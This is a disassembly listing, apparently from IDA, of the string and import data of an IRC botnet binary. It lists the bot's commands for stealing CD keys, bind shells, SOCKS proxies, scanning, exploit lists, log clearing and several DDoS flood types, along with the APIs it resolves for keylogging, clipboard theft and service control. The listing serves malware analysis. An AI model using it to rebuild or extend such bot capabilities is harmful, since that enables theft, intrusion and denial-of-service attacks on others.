aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:0043D4F0o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_431B9C	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_431BC4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
					; ___:0043D4FCo ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:0043D508o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 10h
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_43D4E0o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_431C88	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_431CA8	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_431CCC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_431D1C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_431D64	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_431D98	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_431DA8	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_431DB8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_431DC8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_431DD8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_431DE4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_431DF0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_431DFC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_431E14	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_431E20	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_431E38	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_431E48	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_431E64	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_431E74	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 10h
dword_431E90	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_431E9C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_431EB0	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_431EBC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_431EC8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_431ED4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_431EE4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_431F04	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_431F10	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_431F24	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 10h
dword_431F40	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_431F5C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_431F84	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:0043D50Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_432028:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_43206C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_4320A0	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_4320D0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_432108	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_432130	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_432174	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_4321B0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_4321C8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_4321D0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_4321EC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_4321F8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_4321FC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_432238	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_432240	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_432254	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_432278	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_4322CC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_432338:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_43233C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_432340	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
